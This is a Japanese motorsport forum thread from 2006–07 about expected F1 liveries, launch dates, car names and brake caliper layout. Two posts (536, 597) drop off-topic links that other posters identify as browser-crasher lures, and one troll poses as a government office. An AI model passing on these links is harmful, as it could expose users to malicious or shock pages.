450 :音速の名無しさん:2006/12/16(土) 01:51:50 ID:cNMdk+vx0
つーかカラーリングどーなんだろーね?
やっぱ期待はずれか、今年のマクラーレンのように

451 :音速の名無しさん:2006/12/16(土) 13:39:32 ID:IxZBT7Ku0
カラーリングはスポンサーがどうなるかによるべ
そこんとこも早く発表してくれればいいのに3月にならないと駄目みたいだからなぁ

452 :音速の名無しさん:2006/12/16(土) 13:48:03 ID:YgaFnxhb0
アイボリーホワイトに赤丸一つ。
スポンサーは白文字で。

453 :音速の名無しさん:2006/12/16(土) 15:10:49 ID:1wKOnprA0
今のブラックのネガポジ反転なだけだったりな

454 :音速の名無しさん:2006/12/16(土) 15:39:07 ID:IxZBT7Ku0
>>452
新車発表からスポンサー発表までの間の暫定カラーはそれかもしれないw

455 :音速の名無しさん:2006/12/16(土) 17:47:50 ID:F2RdDhBm0
スケルトン風の絵が全身に

456 :音速の名無しさん:2006/12/16(土) 18:00:18 ID:IxZBT7Ku0
ttp://www.tamiya.com/japan/products/24237original_teile/original_teile2.htm
ttp://www.motorsport.com/photos/f1/2004/ita/f1-2004-ita-tm-0832.jpg
こんなやつ?

457 :音速の名無しさん:2006/12/16(土) 18:49:50 ID:cNMdk+vx0
俺は緑色に期待したい

458 :音速の名無しさん:2006/12/16(土) 18:59:20 ID:aFIThOxX0
>>457
それには日の丸が入るのか?もしそうならそれはバング(ry

459 :音速の名無しさん:2006/12/16(土) 19:08:00 ID:cNMdk+vx0
いや、日の丸はいらない
つーか赤と白のチームが多すぎて垢抜けないんだよな

460 :音速の名無しさん:2006/12/16(土) 19:18:07 ID:aFIThOxX0
グリーンというとジャガー、7うpジョーダン、レイトンハウス(これは違うか)あたりか。
確かに今ノンマシンの中じゃ目立つかも。
でも人の好みなんだからどうしようも無いけど、やっぱり俺は赤白日の丸カラーが良いな。

ていうかあぐりが色かえろ!とおも。

461 :音速の名無しさん:2006/12/16(土) 19:29:33 ID:1wKOnprA0
>>458
緑に日の丸のゼロ戦カラーがスパグリカラー予想に上がってたのを思い出した。
あのころはマジwktkしてたなぁ

462 :音速の名無しさん:2006/12/16(土) 19:31:02 ID:/yfTaDmG0
確かに緑色いないな。
黄色ベースもいなくなったし・・・。
白ベース多すぎな気もする。


463 :音速の名無しさん:2006/12/16(土) 20:13:50 ID:IxZBT7Ku0
>>461
アレは明らかにネタだったやんw
ブリティッシュグリーンをベースにするチームなんて今後出てくるかね

464 :音速の名無しさん:2006/12/16(土) 20:56:15 ID:1wKOnprA0
>>463
スパイカーでなくアストンマーティンがMF1買ってたら間違いなくブリティッシュグリーンだったろうな
まぁスパイカのオレンジ×銀も悪かないけど

何度もいってる気がするが黄色分と桃色分が足りてなーい
来年は水色も居ないのかな

465 :音速の名無しさん:2006/12/16(土) 20:56:44 ID:BGEAhQVz0
可能性がありそうなのはプロドライブかな。
でもスポンサーカラー優先しそうだし。
零戦カラー見たいなぁ。

466 :フラッド ◆qNBVIjZucY :2006/12/16(土) 22:33:52 ID:xzEyTy+l0
>>456
CLKだかDTMマシンみたいのじゃないか?

467 :音速の名無しさん:2006/12/16(土) 22:38:38 ID:cNMdk+vx0
どっかのコラでスーパーアグリ伊藤園F1ってカラーリング無かったっけ?ほかにも永谷園カラーもあったな

468 :音速の名無しさん:2006/12/16(土) 23:14:57 ID:IxZBT7Ku0
>>464
ルノーのワークスカラーは黄色だったんだけどねぇ・・・

469 :音速の名無しさん:2006/12/16(土) 23:17:27 ID:IxZBT7Ku0
>>466
みたいのじゃなくてCLK-DTMそのものを指したんだが理解していただけなかったようで。
ttp://www.tamiya.com/japan/products/24237original_teile/original_teile.htm

470 :音速の名無しさん:2006/12/16(土) 23:23:48 ID:cNMdk+vx0
来年のルノーはオレンジと黄色、マクラーレンは赤と銀でしょ
ピンクと緑と黄色だな。足りてないのは
アグリはピンク、ホンダが緑と黄色で完璧
ウィリアムズももうちょい薄めの色だともっといいんだが

471 :音速の名無しさん:2006/12/16(土) 23:27:16 ID:IxZBT7Ku0
>>470
また来年もマクラーレンとスパイカーは似た配色になりそうだ

472 :音速の名無しさん:2006/12/17(日) 00:52:47 ID:Edk1WuBnO
カワサキ参戦でまさかのライムグリーンキボン

473 :音速の名無しさん:2006/12/17(日) 00:54:16 ID:dY6WD2NU0
マクラーレン、こんな色になってたなんて・・・俺が知ってるのはマルボロカラー

CATV入って最近見始めたけどトロロッソやレッドブルやスパイカーと見分けがつかない('A`)

474 :音速の名無しさん:2006/12/17(日) 01:29:53 ID:LCyMDSPl0
まぁ見慣れればだいたい見当つく様になる

475 :フラッド ◆qNBVIjZucY :2006/12/17(日) 01:46:08 ID:1kn+AMhV0
>>469
スケルトン&モデルヌードカラーでインパクトあったけど、
オンタイムで見てなきゃ普通にスルーかも。

それが印刷したステッカーカラーリングってので、
ちょっとだけ感心したけど。

476 :音速の名無しさん:2006/12/17(日) 10:32:57 ID:Uy+HVxFh0
>>470
じゃあピンクに黄色い斑点で。
tp://www.senakablog.com/archives/2006/08/post_608.html

477 :音速の名無しさん:2006/12/17(日) 11:05:12 ID:hEcX6TkP0
>>463
プロドライブがやりそうな気はするんだが。

478 :音速の名無しさん:2006/12/17(日) 11:41:00 ID:OPN0GBD20
>>475
メインスポンサーない分もっと大胆に出来そうじゃない?
赤ベコの映画のやつみたいなプロモーションの仕方で地域ごととか

479 :音速の名無しさん:2006/12/17(日) 12:31:11 ID:f/ydRmpq0
>>476
冗談でもやって欲しくないアニメイトカラーの青とゲーマーズカラーの緑ととらのあなカラーのオレンジ

480 :音速の名無しさん:2006/12/17(日) 20:47:00 ID:2Ybn9XPC0
正直
あれだけスポンサー少ないんだったら
ゼロファイターのカラーリングなら日本人のハートを鷲掴みにして
しまったと思うんだ

481 :音速の名無しさん:2006/12/17(日) 20:56:42 ID:LCyMDSPl0
>>477
プロドライブって薄いグリーンがイメージカラーなのかな?
あのチームは結局新規参戦なのか買収して参戦なのかどっちなんだろ
なんかソフトバンクとかぶるw

482 :音速の名無しさん:2006/12/17(日) 20:57:52 ID:LCyMDSPl0
>>480
正直全く格好いいと思えないんだ

483 :音速の名無しさん:2006/12/17(日) 20:59:45 ID:rxH9MYWm0
>>480
糞映画「パールハーバー」じゃ最初からグリーンだが
零戦カラーと言っても21型的灰色+日の丸もあるけどな。
いっそMJ清水草一のアイデアの戦艦武蔵の死に装束、
明るい灰色に金の十六弁八重表菊紋で。

484 :音速の名無しさん:2006/12/17(日) 21:45:24 ID:dDkPXZod0
天皇がスポンサーになってくれれば…

485 :音速の名無しさん:2006/12/17(日) 21:59:16 ID:KwaAHLlG0
琢磨号は「菊花」か

486 :音速の名無しさん:2006/12/17(日) 22:08:44 ID:ie3YN34DO
琢磨には桜花がよく似合う

487 :フラッド ◆qNBVIjZucY :2006/12/17(日) 22:15:02 ID:1kn+AMhV0
遠山の金さん連想した

マゲが似合いそうだな。

488 :音速の名無しさん:2006/12/17(日) 22:17:34 ID:FOcRNoSv0
日本といったら、薄桃色じゃないか?

そういえば茶色ってF1じゃ見ないな。

489 :音速の名無しさん:2006/12/17(日) 22:18:52 ID:QfYwUgo1P
>>487
桜花は第二次世界大戦の時の日本の特攻機だ。


490 :音速の名無しさん:2006/12/17(日) 23:40:39 ID:LCyMDSPl0
>>488
UPSがどっかのタイトルスポンサーになればありえなくはないよ

491 :音速の名無しさん:2006/12/17(日) 23:49:07 ID:f/ydRmpq0
ソフトバンクで黄色ってのもぜひとも止してもらいたい

492 :音速の名無しさん:2006/12/18(月) 00:10:00 ID:anvya9JX0
ソフトバンクがそんな大金出すかね・・・
「0円」の宣伝でもする方に使うんじゃないかw

493 :音速の名無しさん:2006/12/18(月) 09:19:49 ID:vCWMcwcb0
>>490
意外とUPSの茶×橙×黄って映えるよな

494 :音速の名無しさん:2006/12/18(月) 12:00:29 ID:anvya9JX0
>>493
2色の組み合わせで最も目立つのは黒×黄らしいって聞いた
工事現場w

495 :音速の名無しさん:2006/12/18(月) 18:19:07 ID:PvWqjZJl0
黒×金でよか。ロータスであったし。

496 :音速の名無しさん:2006/12/18(月) 22:51:56 ID:mM/el3680
>>495
金はう○こ色に見えるってジョーダンが証明してくれたじゃん

497 :音速の名無しさん:2006/12/18(月) 23:17:41 ID:anvya9JX0
>>496
アレと同じにするなw

498 :音速の名無しさん:2006/12/18(月) 23:59:27 ID:RbDf55UJ0
金箔とか金メッキにしちゃえばいいじゃん

漆塗りで金箔の純日本仕様とかw

499 :音速の名無しさん:2006/12/19(火) 00:11:58 ID:6MQTt8Ne0
螺鈿とか入れる?w

500 :音速の名無しさん:2006/12/19(火) 07:50:13 ID:RMLG7P6h0
そして全てのスポンサーを日本語で


これは流行るぜ

501 :音速の名無しさん:2006/12/19(火) 09:55:01 ID:wd0Qeb250
ぶりぢすとん

502 :音速の名無しさん:2006/12/19(火) 10:45:27 ID:4bJ1XEBC0
たいれる

503 :音速の名無しさん:2006/12/19(火) 10:50:35 ID:WvMEMXJO0
漢字の方が目立っていいかもな

「本田」とか「石橋」とか「亞愚璃」とか

504 :音速の名無しさん:2006/12/19(火) 14:20:31 ID:Qn+o45CY0
なんで亜久里だけ当て字なんだよw

505 :音速の名無しさん:2006/12/19(火) 20:16:01 ID:7qGE92wq0
高須栗肉

506 :音速の名無しさん:2006/12/19(火) 20:34:06 ID:6MQTt8Ne0
ネタがないなー

507 :音速の名無しさん:2006/12/19(火) 21:16:16 ID:/kELypl00
>>498
今年の枕にクリアーイエロー吹けば見事な金ピカの完成

508 :音速の名無しさん:2006/12/19(火) 21:55:26 ID:6MQTt8Ne0
>>507
ムラ無くエアブラシで塗るのはなかなか至難の業(模型のばやい

509 :音速の名無しさん:2006/12/20(水) 00:21:02 ID:u/R2d3t60
スーパーアグリのタイトルスポンサーが決まり、GSIクレオス・スーパーアグリFチーム・ホンダになって
来季のSAF1がメッキシルバー全塗装でシルバーアローに。(嘘

510 :音速の名無しさん:2006/12/20(水) 00:29:10 ID:efhDy7Um0
メッキ塗装する予算が・・・w

511 :音速の名無しさん:2006/12/20(水) 00:32:41 ID:XpcDEe7Z0
後にも先にも金ですよ

512 :音速の名無しさん:2006/12/20(水) 02:26:27 ID:lRBMouK30
今期
フェラーリ 赤
マクラーレン 銀と赤
ホンダ 白地に黒と赤
トヨタ 白地に赤
トロロッソ 黒地に赤
スパイカー 黒と赤っぽいオレンジ
アグリ 白地に赤

赤多すぎワロタ

513 :音速の名無しさん:2006/12/20(水) 02:27:32 ID:uQ99m0Bj0
テレビだとスパイカーとフェラーリを見間違えそうになって困る

514 :音速の名無しさん:2006/12/20(水) 14:06:42 ID:gniArUiW0
新車の予定もまだはっきりしてないトコばかりだね〜

07/01/12 トヨタ (ケルン)
07/01/16?フェラーリ (へレス フェラーリは否定) 
07/01/16 BMWザウバー (バレンシア)
07/01/16 ルノー (へレス 正式発表は1/24 オランダ)
未発表
マクラーレン・ホンダ・レッドブル・ウィリアムズ・スパイカー・トロロッソ・アグリ

515 :音速の名無しさん:2006/12/20(水) 15:47:00 ID:POo8kDZi0
金箔地に血の十字架やってくれねーかな、SAF1

516 :音速の名無しさん:2006/12/20(水) 18:15:54 ID:rHznW+8K0
またトヨタ一番のりか。どうせ発表してからも
ゴテゴテ弄くり回すんだからもっと後にすりゃいいのに。

517 :音速の名無しさん:2006/12/20(水) 20:29:58 ID:XpcDEe7Z0
>>514
3チームもだぶってると報道陣は大変だな・・・

518 :音速の名無しさん:2006/12/20(水) 23:41:55 ID:n8T79nWS0
レッドブルも1月中旬って話だよな。
ド派手に発表会でもやるんだろうか。

519 :音速の名無しさん:2006/12/21(木) 00:50:02 ID:vEPAvDpK0
例年に比べて各チームの発表日ではっきりしてるの少ないよなぁ

520 :音速の名無しさん:2006/12/21(木) 20:10:17 ID:vEPAvDpK0
グラ特でホンダがRA106のリアサス周辺撮影禁止にしてたけどずいぶんと神経質だ・・・

521 :音速の名無しさん:2006/12/22(金) 00:30:08 ID:tKpz6z/70
SA06はギアボックスカバーとリアカウルが独立してるから布で隠さなくても良かったのね

522 :Afonso Dos Santos:2006/12/22(金) 14:07:06 ID:2W+K8ivN0
ゔー新車を見るまでの禁断症状がつらひ

523 :音速の名無しさん:2006/12/22(金) 21:45:52 ID:tLumc3nI0
>>520
トヨタはエンジンカバーさえ外してないけどな

524 :音速の名無しさん:2006/12/23(土) 00:31:28 ID:s6TyzK/E0
>>523
正直106Bでもないし見たくもなかったから気にしてなかったw

525 :音速の名無しさん:2006/12/23(土) 23:33:48 ID:07SX3Ag40
低重心のためにブレーキキャリパーも下向きに付けてるってすごいね
どのくらい効果あるんだろうか?

526 :音速の名無しさん:2006/12/23(土) 23:38:58 ID:3f2G+e6o0
最初にやったのはフェラーリだけどみんな真似てるんだから効果あったってことだな。

527 :音速の名無しさん:2006/12/24(日) 00:50:07 ID:KoIxZIXF0
フロントは立て気味にするのが普通みたいだけどRA106は真下だったからね

528 :フラッド ◆qNBVIjZucY :2006/12/24(日) 22:31:15 ID:7dweaNFQ0
元(基準)のキャリパー位置にもよるが、Fダイブ・Rリフト対策にもなるしな。

529 :音速の名無しさん:2006/12/25(月) 10:17:07 ID:ATG1Xu210
?

530 :フラッド ◆qNBVIjZucY :2006/12/25(月) 11:37:47 ID:Fj6jQQAh0
>>528 は、マスを集中させることを狙ったキャリパー配置を基準とした場合。

そこからブレーキング時の各パーツの動きを考えてみ。
単純なことだから。

531 :音速の名無しさん:2006/12/25(月) 14:34:44 ID:i9oPxot80
やれやれ

532 :音速の名無しさん:2006/12/25(月) 16:07:08 ID:EswJWhLtO
頭痛が痛いよう。

533 :音速の名無しさん:2006/12/25(月) 20:19:35 ID:6TpiGZS70
>>530
F1のキャリパーって前は内向きについてたんか・・へー
http://www.fujitv.co.jp/f1gp/photo/mite171.jpg
んでそれが下向きになったと・・
http://www.fujitv.co.jp/f1gp/photo/mite181.jpg


534 :音速の名無しさん:2006/12/25(月) 21:35:06 ID:i9oPxot80
>>533
今年のマシンで言うとSA06のリアキャリパーだけ前側に付いてた
F1モデリングだとF1.06も斜め前方下にリアキャリパー付けてるって書いてあるけどギアボックスが前後逆なこと見落としてる

535 :音速の名無しさん:2006/12/26(火) 01:21:57 ID:tVC7ugbq0
グラ特も間違い多いんだよな・・・

536 :音速の名無しさん:2006/12/27(水) 13:04:24 ID:M56repuI0
http://www.best3xvids.com/perfectmovie/movie2.php#gogays.wmv
グリーンホンダ?

537 :音速の名無しさん:2006/12/27(水) 14:37:58 ID:K5dECvr40
正直、こういうまっとうなスレではトヨタの名前なんか一切出さないでほしい。
スレも穢れるし、読む気も失せる。

538 :音速の名無しさん:2006/12/27(水) 15:13:02 ID:WElt1qxC0
病んでるな

539 :音速の名無しさん:2006/12/27(水) 15:50:38 ID:nJ4jnVo5P
トヨタトヨタトヨタ
トヨタトヨタトヨタ
トヨタトヨタトヨタ

540 :音速の名無しさん:2006/12/27(水) 17:32:59 ID:qPr7ZZPk0
>>539
もちつけ、ID:K5dECvr40は荒らしだ

541 :音速の名無しさん:2006/12/27(水) 19:00:46 ID:nJ4jnVo5P
スマソ orz

542 :音速の名無しさん:2006/12/28(木) 01:21:47 ID:yo1/9LoX0
>>536はブラクラ踏むな

543 :音速の名無しさん:2006/12/28(木) 14:51:17 ID:14qGUUVT0
ああいう浮いたレスは大抵ブラクラなんだよな

544 :音速の名無しさん:2006/12/28(木) 15:40:33 ID:TZohFtSW0
httpのhを抜いてないリンクを踏むやつはバカだ

545 :音速の名無しさん:2006/12/28(木) 16:01:50 ID:14qGUUVT0
踏んだ奴より貼った奴を馬鹿と書くべきだな

546 :音速の名無しさん:2006/12/28(木) 23:39:03 ID:yo1/9LoX0
流石この季節、心の寂しい奴は益々荒んでるな。

547 :音速の名無しさん:2006/12/29(金) 19:10:56 ID:roy0nCqi0
流出画像マダー(・∀・ )っ/凵⌒☆チンチン

548 :音速の名無しさん:2006/12/29(金) 19:41:26 ID:Nt0dHkGu0
>>528>>530  こりゃまた、らしからぬ。

ノーズやテールのリフト&ダイブ(スクワット)最適量は、サスとその取付けディメンションで掌り、
キャリパー配置はZ軸モーメントとホイルトラベル制御、両者兼ね合いを主に考慮しているのでは?

549 :音速の名無しさん:2006/12/29(金) 21:07:46 ID:P6+k2ln40
>>548
あんな奇天烈理論にいちいち取り合わんでも・・・
取り合ったら反論してきて、どうでも良い論争がグダグダ続くだけなんだから

550 :音速の名無しさん:2006/12/29(金) 21:51:41 ID:RsNxzGP30
俺もそう思う

551 :フラッド ◆qNBVIjZucY :2006/12/29(金) 23:20:03 ID:oPGjDIhA0
>>548
>>528 はそれを目的としたのもじゃなくて、副産物的なものだよ。

実際にやってみれば解る。

552 :フラッド ◆qNBVIjZucY :2006/12/29(金) 23:35:15 ID:oPGjDIhA0
>>549
机に向かってるだけじゃ解らんよ。

だいたい>>528は理論ってほどのもんじゃないし。

553 :音速の名無しさん:2006/12/29(金) 23:48:28 ID:q8vERsJgP
キャリパーがどの角度についていても同じ事じゃないの?

554 :音速の名無しさん:2006/12/30(土) 00:46:23 ID:whK/kEk9O
新車発表予定日

マクラーレン1/15
ルノー1/16
フェラーリ1月中旬
ホンダ1月下旬
BMW1/16
トヨタ1/12
ウィリアムズ2/2
レッドブル未定
スパイカー未定
トロロッソ未定
アグリ2月下旬

555 :音速の名無しさん:2006/12/30(土) 01:13:12 ID:NVKCR7+k0
>>554
スパイカーは1月も走らなくて大丈夫なのか・・・

556 :音速の名無しさん:2006/12/30(土) 10:57:21 ID:PYLSvrr60
>>555
アグリの前例があるから大丈夫だろ

557 :音速の名無しさん:2006/12/30(土) 11:03:27 ID:NVKCR7+k0
考えてみればSA05はもっとすごかったんだなw

558 ::2006/12/30(土) 12:01:36 ID:kAgOUy1L0
テスト

559 :音速の名無しさん:2006/12/31(日) 22:52:54 ID:adup2bVw0
エンジンのホロモゲーションはブラジルを含まないんだったか?

560 :音速の名無しさん:2006/12/31(日) 23:35:44 ID:ZHe5KDXv0
どうなんだろな、そこ
チームごとに割れてたし

561 :音速の名無しさん:2007/01/01(月) 12:20:50 ID:w9l2ljgn0
また馬鹿が別スレ立てたっぽいな
こっち使い切ること優先させればいいのに

562 :音速の名無しさん:2007/01/01(月) 21:37:36 ID:ylZd04x/0
バカはお前だろ
スレタイが読めんのかwww

563 :音速の名無しさん:2007/01/01(月) 21:39:38 ID:rGRZwYni0
>>562
このスレの成り立ちを知らずに吠える馬鹿発見w

564 :音速の名無しさん:2007/01/01(月) 21:42:44 ID:oJK856L60
>>562
うん、お前が馬鹿だと思うよ

565 :音速の名無しさん:2007/01/01(月) 23:45:00 ID:w9l2ljgn0
>>562
アホがw新参は黙ってれば恥をかかずに済むものを

566 :音速の名無しさん:2007/01/02(火) 00:04:32 ID:CKWZGNpj0
早漏野郎が立てたスレも無駄にするのもったいないだからこっち早く使い切るべきかな

567 :音速の名無しさん:2007/01/02(火) 09:17:01 ID:6Oz5k5l+0
>>566
うーーーん
かわいい子が早くデビューしたら書き込みも増えるけど
それまでは、まだどんな子がデビューするのかさえもわからない
とりあえず次のテスト後には書き込みも増えると思うよ

おっしゃるように向こうは落ちない程度でここを優先する事だと思う。

568 :音速の名無しさん:2007/01/02(火) 11:57:21 ID:CKWZGNpj0
12日以前にテストの予定ってあったっけ?

569 :音速の名無しさん:2007/01/02(火) 14:30:37 ID:6Oz5k5l+0
次はバレンシアの15日だと思うが12日からあるのかな?

570 :音速の名無しさん:2007/01/02(火) 15:24:34 ID:1+AL+ZnEO
マクラーレンの車って左右非対称だったのか、上から見ると全然違うな

571 :音速の名無しさん:2007/01/02(火) 15:44:15 ID:CKWZGNpj0
>>569
なるほどありがとう
12日にシェイクダウンはあるかもしれない

572 :音速の名無しさん:2007/01/02(火) 16:45:12 ID:6Oz5k5l+0
おそらく15日のテストからかわいいこががゾクゾクとお目見えするので
今からわくわくしているが、テスト後はゾクゾクとするかわいい子が見られるかな?
それとも幻滅するような不細工だったら・・・
どっちにしてもこの板が盛り上がる事は間違いないと思うので後2週間のがまん!

573 :音速の名無しさん:2007/01/02(火) 17:20:47 ID:/b5dc1Fs0
マシンをかわいい子とか言ってるし、きもすぎなんだけど

574 :音速の名無しさん:2007/01/02(火) 17:23:41 ID:D4d8wHJ00
あーあ、待ち遠しいなぁ!

575 :音速の名無しさん:2007/01/02(火) 17:41:59 ID:mXshNwfL0
やっぱり皆が一番期待してるのはレッドブルかな?

576 :音速の名無しさん:2007/01/02(火) 20:35:05 ID:CKWZGNpj0
フェラーリの新型ってどういう名称になるんだろ

577 :音速の名無しさん:2007/01/02(火) 20:40:05 ID:SiWd7Iwj0
普通にF2007

578 :音速の名無しさん:2007/01/02(火) 20:51:20 ID:CsJnCQrY0
248/2とか

579 :音速の名無しさん:2007/01/02(火) 20:54:51 ID:CKWZGNpj0
>>578
それいいなw

580 :音速の名無しさん:2007/01/02(火) 21:42:50 ID:1+AL+ZnEO
はぁ〜素人はやだなー
ferrari f248M だよ。


581 :音速の名無しさん:2007/01/02(火) 21:50:47 ID:Jui4QexS0
F124だろ

582 :音速の名無しさん:2007/01/02(火) 23:39:37 ID:CKWZGNpj0
>>580
縁起悪w

583 :音速の名無しさん:2007/01/03(水) 00:06:03 ID:1+AL+ZnEO
フェラーリ社もちょっとひねって8亀頭2,4Lにするかもよ
ferrari f824

584 :音速の名無しさん:2007/01/03(水) 00:17:13 ID:XAbmd7/90
248F2

585 :音速の名無しさん:2007/01/03(水) 00:31:22 ID:ZPPnSX+U0
TOYOTAって、ここ最近発表一番早いね。
今年も変わり映えしないのが出てくるのだろうか。

586 :音速の名無しさん:2007/01/03(水) 01:17:44 ID:foSJQwXKO
ちょっと、記事がみつからないんだけど
前に9日からテストが始まるという記事を見たんだけど間違いなのかな?
ほとんどが、15日からだって書いてあるね。

トヨタは、一番変わる気がするんだけどどうなんだろうか?
ほかのトップチームは、完成度が高いから
コンセプトを変えない限りあまり変わり映えしなそうだけど
トヨタは、完成度が低いから、ノーズの出っ張りは絶対なくなるだろうし
サイドポッドももっとえぐってくるだろうしかなり変わる気がするんだけどね。



587 :音速の名無しさん:2007/01/03(水) 01:52:43 ID:QAu/sna40
>>586
スキャロップ強くするにはバージボード採用しないと効果薄いらしいけどな
TF103まではバージボード使ってたんだけど

588 :音速の名無しさん:2007/01/03(水) 02:45:40 ID:foSJQwXKO
>>587
今のスタイルはガスコインの方針だったんでしょうが、彼がいなくなった影響が出るんじゃないかと思ってます。


589 :音速の名無しさん:2007/01/03(水) 04:01:18 ID:NeYpW3oX0
つーか、248って名前本当に続けるのかな?
続けるなら「F1」をどうにかしないといけないだろうし。


248/2F1と予想

590 :音速の名無しさん:2007/01/03(水) 04:55:19 ID:Ih2iKiP80
248F1Bという割りと身も蓋もない名前にした次の年に
まったくつながりのない名前にすると予想

591 :音速の名無しさん:2007/01/03(水) 05:44:08 ID:EcPL6FPK0
単純に1つ進めて
249F1

592 :音速の名無しさん:2007/01/03(水) 07:35:40 ID:AB8mrbhgO
Ferarri659

593 :音速の名無しさん:2007/01/03(水) 09:12:12 ID:FSC5usTJO
F2007-MS

594 :音速の名無しさん:2007/01/03(水) 09:49:10 ID:kQMG9ZyO0
ニューウェイが抜けたマクラーレンと、ニューウェイが作ったレッドブルが楽しみ。

595 :音速の名無しさん:2007/01/03(水) 10:37:11 ID:QAu/sna40
>>588
ホンダはウィリスがボーダーウィング派だったから固執してるのもわかるんだけど
サイドポンツーンのエントリーが低いマシンよりも高いマシンの方が速い傾向あるよね

596 :音速の名無しさん:2007/01/03(水) 10:40:24 ID:QAu/sna40
>>594
RB3もMP4-22もMP4-20の発展型になってたりして
前者はニューウェイつながり、後者は開発チームつながりで

597 :音速の名無しさん:2007/01/03(水) 10:51:00 ID:Lv1dbIzc0
http://www.vipper.net/vip154672.jpg
http://up2.viploader.net/mini/src/viploader97068.wmv
どう?

598 :音速の名無しさん:2007/01/03(水) 11:13:19 ID:QAu/sna40
>>597
踏まない方が身の為みたいですねw

599 :内閣府 情報・緊急時対応課WebGメン75:2007/01/03(水) 18:52:44 ID:3XQxMC/a0
>>597
警視庁情報課に通達
本日は外出お控え下さい

美しい国 日本 凛とした美しい国創りに御協力お願いします 

600 :音速の名無しさん:2007/01/03(水) 19:06:57 ID:HPrYSeUk0
今年のマクラーレンのクルマはニューエイが関わってないから遅い。
だから来年のマクラーレンも遅い

601 :音速の名無しさん:2007/01/03(水) 19:56:24 ID:QAu/sna40
今更どうしたって感じ

602 :音速の名無しさん:2007/01/04(木) 19:49:29 ID:OOtK6PL+0
ぜひホンダあたりに
F1H19かF119Hなんて名称を付けて欲しい。

603 :音速の名無しさん:2007/01/04(木) 21:08:35 ID:liEuztBp0
格好良くない・・・

604 :音速の名無しさん:2007/01/04(木) 21:20:27 ID:x6o6iBCe0
>>602
F119Hは無理だろう。フェラーリからクレーム来るぞ

605 :音速の名無しさん:2007/01/04(木) 22:04:42 ID:liEuztBp0
ジョーダンが191を当初911で参戦しようとして横槍入ったことを思い出した

606 :音速の名無しさん:2007/01/04(木) 22:11:22 ID:Rbkiwjy/0
ニューウェイ楽しみだなー。もし無茶苦茶速いマシンだったら
現在のマシン開発は個人の能力に依存しないとか言ってた輩はどうなるんだろーな

607 :音速の名無しさん:2007/01/04(木) 22:16:50 ID:Zeopk1kJ0
ウェバー
「このチームは様々なマシンカラーを今までまとってきたけど、その中でも今季は最強だと思っている。
ただ、そのポテンシャルを発揮出来るのは2008年になるだろうね。」

608 :音速の名無しさん:2007/01/05(金) 01:46:03 ID:HFe2SHCZ0
ゑはマシン壊さない様にな

609 :音速の名無しさん:2007/01/05(金) 08:50:53 ID:QJ9RuMXN0
>>605
ポルシェか。
レイトンハウスはCGがついてたからセーフだったな

610 :音速の名無しさん:2007/01/05(金) 10:58:05 ID:HFe2SHCZ0
CG901はCG付いてなかったらプジョーから文句言われたかも

611 :音速の名無しさん:2007/01/06(土) 01:05:59 ID:Sp5gjKL20
ウィリアムズはいい加減FW29では小羽付けすぎのドラッグ過多から脱却しないといけないな
トヨタと同じような問題に直面しとる

612 :音速の名無しさん:2007/01/06(土) 04:00:19 ID:3n72brbo0
トロは赤牛のマシンを使う気満々みたいだな…ベルガーも変に自信あるみたい
だし…FIAからOK出たら、スパグリにも本田のマシン使わせてやれよ

613 :音速の名無しさん:2007/01/06(土) 07:56:49 ID:Sp5gjKL20
カスタマーシャシー時代になると没個性で面白味減るなあ・・・

614 :音速の名無しさん:2007/01/06(土) 09:07:59 ID:AQl/Xj8w0
まあ、トロも金無いからな。
ベルガーも独立化する方向だし。

615 :音速の名無しさん:2007/01/06(土) 11:37:45 ID:Sp5gjKL20
ttp://www.ing-renaultf1.com/en/
だいぶ印象変わりそうだな

新車発表予定日

トヨタ TF107 1/12
マクラーレン MP4-22 1/15
ルノー R27 1/16
BMW F1.07 1/16
フェラーリ ??? 1月中旬
ホンダ RA107 1/25
ウィリアムズ FW29 2/2
アグリ SA07 2月下旬
レッドブル RB3 未定
スパイカー ??? 未定
トロロッソ STR2 未定 ホンダ追加、名前は適当です

616 :音速の名無しさん:2007/01/06(土) 14:59:08 ID:YVWSHhvk0
ガスコインはスパイカーが最後の仕事か
とか言ってて他のチームと契約したりするんだろうな

617 :音速の名無しさん:2007/01/06(土) 15:08:22 ID:4FLa48JH0
>>613
まぁ、昔もマーチのシャシーとかを複数のチームが使ってたり
したんだけどね
今でも上位チームのマシン以外は個性が強いとは言えないし…
各チームが独自の個性的な改良をしてくれたら、カスタマーでも
面白くなるとは思うんだけど無理っぽいしなw

618 :音速の名無しさん:2007/01/06(土) 15:20:15 ID:gOg5qGll0
>>616
F1から離れたがるデザイナーって多いよね
名前が売れてれば売れてるほどそういう傾向があるように思う

619 :音速の名無しさん:2007/01/06(土) 15:29:59 ID:Sp5gjKL20
>>616
移籍した先でチーム・ガスコインが作れるならまだやるかもしれないけどどうかな?
ガスコインはワンマンな面もあるからなぁ


620 :音速の名無しさん:2007/01/06(土) 15:35:05 ID:Sp5gjKL20
>>617
今以上に画一的になられると見てて興醒めしそうw
モノコックが同じだったなら後方のデザインも自ずと似た様なカタチになっちゃうし

621 :音速の名無しさん:2007/01/06(土) 15:37:38 ID:9HL1U2m60
でもセカンドチームが無茶苦茶アグレッシブなデザインでやってくれるならそれも良いかも。

622 :音速の名無しさん:2007/01/06(土) 15:44:25 ID:Sp5gjKL20
俺もそれなら良いなって思う

623 :音速の名無しさん:2007/01/06(土) 18:07:29 ID:60GVU4az0
ニューエイマシンはあんま気にならないな。傾向は似たようなもんでしょ。
如何様にも変わりそうなホンダ、トヨタ、ウィリが一番気になる。

624 :音速の名無しさん:2007/01/06(土) 20:00:54 ID:KrM01wld0
ホンダ、トヨタはサイドポンツーン下側の絞り込みがなかったからな。
今年のマシンが楽しみだ。

絞り込んでなかったらどうしよう・・・

625 :音速の名無しさん:2007/01/06(土) 20:03:18 ID:iF1MAWcI0
全チームの同意があったら2008年からバージボード類廃止なんだよな
全チーム同意なんてあり得ないか

626 :音速の名無しさん:2007/01/06(土) 20:23:48 ID:Sp5gjKL20
ウィリアムズは作風変えるべきなんだろうけどあんまり変化なさそうな気がする
あのチームこそ有力デザイナーを獲得すべきなんだろうな

627 :音速の名無しさん:2007/01/06(土) 20:27:05 ID:Sp5gjKL20
>>624
バージボード採用してないと抉っても効果薄いらしい

628 :フラッド ◆qNBVIjZucY :2007/01/06(土) 21:07:55 ID:lMLaDqLO0
>>617
でも「個性的なな改良」だけでは、タイセンの言う競争力には貧しいっしょ。

供給元が撤退したときの混乱も考えられるし。

629 :音速の名無しさん:2007/01/07(日) 07:47:14 ID:FZdHDLcf0
バージボード禁止、ボーダーウィング禁止、キノコ禁止で

ボーテックスジェネレーターで何じゃこりゃと思ったものだが、
